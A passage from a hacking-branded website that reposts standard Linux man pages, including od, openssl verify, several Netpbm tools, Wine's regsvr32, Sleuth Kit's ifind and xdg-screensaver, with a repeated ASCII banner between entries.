Additionally, starting a wildcard with ‘!’ will prevent a match, even if another flag matches. For example -w -N ‘*’ -N ‘!x’ will strip all symbols except for x.

The order of wildcards does not matter. For example, -w -N ‘*’ -N ‘!x’ is the same as -w -N ‘!x’ -N ‘*’.

@<FILE>
Read command-line options and commands from response file <FILE>.

ELF-SPECIFIC OPTIONS

The following options are implemented only for ELF objects. If used with other objects, llvm-strip will either emit an error or silently ignore them.

–allow-broken-links
Allow llvm-strip to remove sections even if it would leave invalid section references. Any invalid sh_link fields will be set to zero.

–discard-locals, -X
Remove local symbols starting with “.L” from the output.

–keep-file-symbols
Keep symbols of type STT_FILE, even if they would otherwise be stripped.

–keep-section <section>
When removing sections from the output, do not remove sections named <section>. Can be specified multiple times to keep multiple sections.

–keep-symbol <symbol>, -K
When removing symbols from the output, do not remove symbols named <symbol>. Can be specified multiple times to keep multiple symbols.

–preserve-dates, -p
Preserve access and modification timestamps in the output.

–strip-sections
Remove from the output all section headers and all section data not within segments. Note that many tools will not be able to use an object without section headers.

-T
Remove Swift symbols.

EXIT STATUS

llvm-strip exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/labels/tools:llvm-objcopy%2Fstrip>.

SEE ALSO

llvm-objcopy(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2204 - Linux cli command od

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command od and provides detailed information about the command od, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the od.

NAME 🖥️ od 🖥️

dump files in octal and other formats

SYNOPSIS

od [OPTION]… [FILE]…
od [-abcdfilosx]… [FILE] [[+]OFFSET[.][b]]
od –traditional [OPTION]… [FILE] [[+]OFFSET[.][b] [+][LABEL][.][b]]

DESCRIPTION

Write an unambiguous representation, octal bytes by default, of FILE to standard output. With more than one FILE argument, concatenate them in the listed order to form the input.

With no FILE, or when FILE is -, read standard input.

If first and second call formats both apply, the second format is assumed if the last operand begins with + or (if there are 2 operands) a digit. An OFFSET operand means -j OFFSET. LABEL is the pseudo-address at first byte printed, incremented when dump is progressing. For OFFSET and LABEL, a 0x or 0X prefix indicates hexadecimal; suffixes may be . for octal and b for multiply by 512.

Mandatory arguments to long options are mandatory for short options too.

-A, –address-radix=RADIX
output format for file offsets; RADIX is one of [doxn], for Decimal, Octal, Hex or None

–endian={big|little}
swap input bytes according the specified order

-j, –skip-bytes=BYTES
skip BYTES input bytes first

-N, –read-bytes=BYTES
limit dump to BYTES input bytes

-S BYTES, –strings[=BYTES]
show only NUL terminated strings of at least BYTES (3) printable characters

-t, –format=TYPE
select output format or formats

-v, –output-duplicates
do not use * to mark line suppression

-w[BYTES], –width[=BYTES]
output BYTES bytes per output line; 32 is implied when BYTES is not specified

–traditional
accept arguments in third form above

–help
display this help and exit

–version
output version information and exit

Traditional format specifications may be intermixed; they accumulate:

-a
same as -t a, select named characters, ignoring high-order bit

-b
same as -t o1, select octal bytes

-c
same as -t c, select printable characters or backslash escapes

-d
same as -t u2, select unsigned decimal 2-byte units

-f
same as -t fF, select floats

-i
same as -t dI, select decimal ints

-l
same as -t dL, select decimal longs

-o
same as -t o2, select octal 2-byte units

-s
same as -t d2, select decimal 2-byte units

-x
same as -t x2, select hexadecimal 2-byte units

TYPE is made up of one or more of these specifications:

a
named character, ignoring high-order bit

c
printable character or backslash escape

d[SIZE]
signed decimal, SIZE bytes per integer

f[SIZE]
floating point, SIZE bytes per float

o[SIZE]
octal, SIZE bytes per integer

u[SIZE]
unsigned decimal, SIZE bytes per integer

x[SIZE]
hexadecimal, SIZE bytes per integer

SIZE is a number. For TYPE in [doux], SIZE may also be C for sizeof(char), S for sizeof(short), I for sizeof(int) or L for sizeof(long). If TYPE is f, SIZE may also be F for sizeof(float), D for sizeof(double) or L for sizeof(long double).

Adding a z suffix to any type displays printable characters at the end of each output line.

BYTES is hex with 0x or 0X prefix, and may have a multiplier suffix:

b
512

KB
1000

K
1024

MB
1000*1000

M
1024*1024

and so on for G, T, P, E, Z, Y, R, Q. Binary prefixes can be used, too: KiB=K, MiB=M, and so on.

EXAMPLES

od -A x -t x1z -v
Display hexdump format output

od -A o -t oS -w16
The default output format used by od

AUTHOR

Written by Jim Meyering.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/od>
or available locally via: info ‘(coreutils) od invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2205 - Linux cli command openssl-verifyssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-verifyssl and provides detailed information about the command openssl-verifyssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-verifyssl.

NAME 🖥️ openssl-verifyssl 🖥️

verify - certificate verification command

SYNOPSIS

openssl verify [-help] [-CRLfile filename|uri] [-crl_download] [-show_chain] [-verbose] [-trusted filename|uri] [-untrusted filename|uri] [-vfyopt nm:v] [-nameopt option] [-CAfile file] [-no-CAfile] [-CApath dir] [-no-CApath] [-CAstore uri] [-no-CAstore] [-engine id] [-allow_proxy_certs] [-attime timestamp] [-no_check_time] [-check_ss_sig] [-crl_check] [-crl_check_all] [-explicit_policy] [-extended_crl] [-ignore_critical] [-inhibit_any] [-inhibit_map] [-partial_chain] [-policy arg] [-policy_check] [-policy_print] [-purpose purpose] [-suiteB_128] [-suiteB_128_only] [-suiteB_192] [-trusted_first] [-no_alt_chains] [-use_deltas] [-auth_level num] [-verify_depth num] [-verify_email email] [-verify_hostname hostname] [-verify_ip ip] [-verify_name name] [-x509_strict] [-issuer_checks] [-provider name] [-provider-path path] [-propquery propq] [] [certificate …]

DESCRIPTION

This command verifies certificate chains. If a certificate chain has multiple problems, this program attempts to display all of them.

OPTIONS

-help
Print out a usage message.

-CRLfile filename|uri
The file or URI should contain one or more CRLs in PEM or DER format. This option can be specified more than once to include CRLs from multiple sources.

-crl_download
Attempt to download CRL information for certificates via their CDP entries.

-show_chain
Display information about the certificate chain that has been built (if successful). Certificates in the chain that came from the untrusted list will be flagged as “untrusted”.

-verbose
Print extra information about the operations being performed.

-trusted filename|uri
A file or URI of (more or less) trusted certificates. See openssl-verification-options (1) for more information on trust settings. This option can be specified more than once to load certificates from multiple sources.

-untrusted filename|uri
A file or URI of untrusted certificates to use for chain building. This option can be specified more than once to load certificates from multiple sources.

-vfyopt nm:v
Pass options to the signature algorithm during verify operations. Names and values of these options are algorithm-specific.

-nameopt option
This specifies how the subject or issuer names are displayed. See openssl-namedisplay-options (1) for details.

-engine id
See “Engine Options” in openssl (1). This option is deprecated. To load certificates or CRLs that require engine support, specify the -engine option before any of the -trusted, -untrusted or -CRLfile options.

-CAfile file, -no-CAfile, -CApath dir, -no-CApath, -CAstore uri, -no-CAstore
See “Trusted Certificate Options” in openssl-verification-options (1) for details.

-allow_proxy_certs, -attime, -no_check_time, -check_ss_sig, -crl_check, -crl_check_all, -explicit_policy, -extended_crl, -ignore_critical, -inhibit_any, -inhibit_map, -no_alt_chains, -partial_chain, -policy, -policy_check, -policy_print, -purpose, -suiteB_128, -suiteB_128_only, -suiteB_192, -trusted_first, -use_deltas, -auth_level, -verify_depth, -verify_email, -verify_hostname, -verify_ip, -verify_name, -x509_strict -issuer_checks
Set various options of certificate chain verification. See “Verification Options” in openssl-verification-options (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).


Indicates the last option. All arguments following this are assumed to be certificate files. This is useful if the first certificate filename begins with a -.

certificate …
One or more target certificates to verify, one per file. If no certificates are given, this command will attempt to read a single certificate from standard input.

DIAGNOSTICS

When a verify operation fails the output messages can be somewhat cryptic. The general form of the error message is:

server.pem: /C=AU/ST=Queensland/O=CryptSoft Pty Ltd/CN=Test CA (1024 bit) error 24 at 1 depth lookup:invalid CA certificate

The first line contains the name of the certificate being verified followed by the subject name of the certificate. The second line contains the error number and the depth. The depth is number of the certificate being verified when a problem was detected starting with zero for the target (“leaf”) certificate itself then 1 for the CA that signed the target certificate and so on. Finally a textual version of the error number is presented.

A list of the error codes and messages can be found in X509_STORE_CTX_get_error (3); the full list is defined in the header file <openssl/x509_vfy.h>.

This command ignores many errors, in order to allow all the problems with a certificate chain to be determined.

SEE ALSO

openssl-verification-options (1), openssl-x509 (1), ossl_store-file (7)

HISTORY

The -show_chain option was added in OpenSSL 1.1.0.

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2021 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2206 - Linux cli command pnmquantall

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmquantall and provides detailed information about the command pnmquantall, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmquantall.

.

NAME 🖥️ pnmquantall 🖥️

run Pnmquant on a bunch of files all at once, so they share a common colormap

SYNOPSIS

pnmquantall

[-ext extension] ncolors netpbm_file

Note that the usual syntax rules for Netpbm programs don’t apply to this program. For example, you can’t abbreviate -ext and you can’t put it anywhere on the line you want.

DESCRIPTION

This program is part of Netpbm(1) .

pnmquantall takes a bunch of Netpbm image files as input, chooses ncolors colors to best represent all of the images, maps the existing colors to the new ones, and overwrites the input files with the new quantized versions.

If you don’t want to overwrite your input files, use the -ext option. The output files are then named the same as the input files, plus a period and the extension text you specify.

The purpose is this: Let’s say you’ve got a dozen PPMs that you want to display on the screen all at the same time. Your screen can only display 256 different colors, but the PPMs have a total of a thousand or so different colors. For a single image you solve this problem with pnmquant; pnmquantall solves it for multiple images.

Note that another approach to this problem is to pre-select a set of colors and then use pnmremap to separately quantize each PPM to that set.)

This is a rather simple program that runs pnmcolormap and pnmremap. If you are considering using it in a program of any sophistication, you should probably just run those programs directly. Even if you are typing it, you may want to do the steps manually because it gives you access to the various options of pnmcolormap and pnmremap for doing the quantization differently.

OPTIONS

pnmquantall recognizes the following command line option:

-ext extension
Specify an extension for the output files. By default the input files are overwritten.

pnmquantall does not recognize the options common to all programs based on libnetpbm (See Common Options .) However, the -version option works.

SEE ALSO

pnmquant(1) , pnmremap(1) , pnmcolormap(1) , pnm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmquantall.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2207 - Linux cli command ppmbrighten

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmbrighten and provides detailed information about the command ppmbrighten, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmbrighten.

.

NAME 🖥️ ppmbrighten 🖥️

replaced by pambrighten

DESCRIPTION

This program is part of Netpbm(1) .

Starting with Netpbm 10.86 (March 2019), ppmbrighten is obsolete. Use pambrighten(1) instead.

pambrighten is mostly backward compatible with ppmbrighten. You can use the pambrighten manual for ppmbrighten as long as you ignore features that were added after Netpbm 10.86.

One way in which pambrighten is not backward compatible is that pambrighten does not have a -normalize option. If you want that function, use pnmnorm on the image before passing it to pambrighten.

Another backward incompatibility is that pambrighten produces the same kind of output as the input, whereas ppmbrighten always produces PPM. If you need PPM output, pass the results through ppmtoppm.

ppmbrighten is currently implemented as a triviel program that invokes pambrighten, pnmnorm, and ppmtoppm.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmbrighten.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2208 - Linux cli command regsvr32-stable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command regsvr32-stable and provides detailed information about the command regsvr32-stable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the regsvr32-stable.

NAME 🖥️ regsvr32-stable 🖥️

Wine DLL Registration Server

SYNOPSIS

regsvr32 [/u] [/s] [/n] [/i[**:**cmdline]] dllname

DESCRIPTION

regsvr32 is the Wine dll registration server, designed to be compatible with its Microsoft Windows counterpart. By default, it will register the given dll.

COMMANDS

/u
Unregister the specified dll.

/s
Run regsvr32 silently (will not show any GUI dialogs).

/i
Call DllInstall passing it an optional cmdline. When used with /u calls DllUninstall.

/n
Do not call DllRegisterServer; this option must be used with /i.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

regsvr32 is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2209 - Linux cli command neqn

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command neqn and provides detailed information about the command neqn, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the neqn.

Name

neqn - format equations for character-cell terminal output

Synopsis

neqn [eqn-argument . . .]

Description

neqn invokes the

command with the ascii output device.

eqn does not support low-resolution, typewriter-like devices, although it may work adequately for very simple input.

See also

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2210 - Linux cli command pbmpscale

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmpscale and provides detailed information about the command pbmpscale, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmpscale.

.

NAME 🖥️ pbmpscale 🖥️

enlarge a PBM image with edge smoothing

SYNOPSIS

pbmpscale N [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmpscale reads a PBM image as input, and outputs a PBM image enlarged N times. pbmpscale does this enlargement by pixel replication, with some additional smoothing of corners and edges.

OPTIONS

There are no command line options defined specifically for pbmpscale, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamenlarge(1) , pamscale(1) , pamstretch(1) , pbm(1)

AUTHOR

Copyright (C) 1990 by Angus Duggan Copyright (C) 1989 by Jef Poskanzer.

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. This software is provided “as is” without express or implied warranty.

NOTES

pbmpscale works best for enlargements of 2. To do enlargements greater than 2, you should do as many enlargements of 2 as possible, then enlarge by the remaining factor.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmpscale.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2211 - Linux cli command ifind

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ifind and provides detailed information about the command ifind, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ifind.

NAME 🖥️ ifind 🖥️

Find the meta-data structure that has allocated a given disk unit or file name.

SYNOPSIS

ifind [-avVl] [-f fstype] [-d data_unit] [-n file] [-p par_inode] [-z ZONE] [-i imgtype] [-o imgoffset] [-b dev_sector_size] image [images]

DESCRIPTION

ifind finds the meta-data structure that has data_unit allocated a data unit or has a given file name. In some cases any of the structures can be unallocated and this will still find the results.

ARGUMENTS

There are several required and optional arguments. The image file names must be specified each time:

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

You must also specify what you are looking for and include one of the following:

-d data_unit
Finds the meta data structure that has allocated a given data unit (block, cluster, etc.)

-n file
Finds the meta data structure that is pointed to by the given file name.

-p par_inode
Finds the unallocated MFT entries in an NTFS image that have the given inode as the parent. Can be used with ‘-l and -z’.

There are also several optional arguments:

-a
Find all meta-data structures (only works when looking with a data_unit).

-f fstype
Specify the file system type. Use ‘-f list’ to list the supported file system types. If not given, autodetection methods are used.

-l
List the details of each file found with ‘-p’, like ‘fls -l’.

-i imgtype
Identify the type of image file, such as raw. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-o imgoffset
The sector offset where the file system starts in the image.

-b dev_sector_size
The size, in bytes, of the underlying device sectors. If not given, the value in the image format is used (if it exists) or 512-bytes is assumed.

-v
Verbose output to stderr.

-V
Display version.

-z ZONE
If ‘-p -l’ were given, this will set the timezone for the correct times.

EXAMPLES

# ifind -f fat -d 456 fat-img.dd

# ifind -f linux-ext2 -n “/etc/” linux-img.dd

# ifind -f ntfs -p 5 -l -z EST5EDT ntfs-img.dd

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2212 - Linux cli command xdg-screensaver

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdg-screensaver and provides detailed information about the command xdg-screensaver, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdg-screensaver.

NAME 🖥️ xdg-screensaver 🖥️

screensaver - command line tool for controlling the screensaver

SYNOPSIS

xdg-screensaver suspend WindowID

xdg-screensaver resume WindowID

xdg-screensaver {activate | lock | reset | status}

xdg-screensaver {–help | –manual | –version}

DESCRIPTION

xdg-screensaver provides commands to control the screensaver.

xdg-screensaver is for use inside a desktop session only. It is not recommended to use xdg-screensaver as root.

COMMANDS

suspend WindowID

Suspends the screensaver and monitor power management. WindowID must be the X Window ID of an existing window of the calling application. The window must remain in existence for the duration of the suspension.

WindowID can be represented as either a decimal number or as a hexadecimal number consisting of the prefix 0x followed by one or more hexadecimal digits.

The screensaver can be suspended in relation to multiple windows at the same time. In that case screensaver operation is only restored once the screensaver has been resumed in relation to each of the windows

resume WindowID

Resume the screensaver and monitor power management after being suspended. WindowID must be the same X Window ID that was passed to a previous call of xdg-screensaver suspend

activate

Turns the screensaver on immediately. This may result in the screen getting locked, depending on existing system policies.

lock

Lock the screen immediately.

reset

Turns the screensaver off immediately. If the screen was locked the user may be asked to authenticate first.

status

Prints enabled to stdout if the screensaver is enabled to turn on after a period of inactivity and prints disabled if the screensaver is not enabled.

OPTIONS

–help

Show command synopsis.

–manual

Show this manual page.

–version

Show the xdg-utils version information.

EXIT CODES

An exit code of 0 indicates success while a non-zero exit code indicates failure. The following failure codes can be returned:

1

Error in command line syntax.

3

A required tool could not be found.

4

The action failed.

EXAMPLES

xdg-screensaver suspend 0x1c00007

Causes the screensaver to be disabled till xdg-screensaver resume 0x1c00007 is called. 0x1c00007 must be the X Window ID of an existing window.

AUTHOR

Bryce Harrington

Author.

COPYRIGHT

Copyright © 2006

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2213 - Linux cli command jconsole

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jconsole and provides detailed information about the command jconsole, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jconsole.

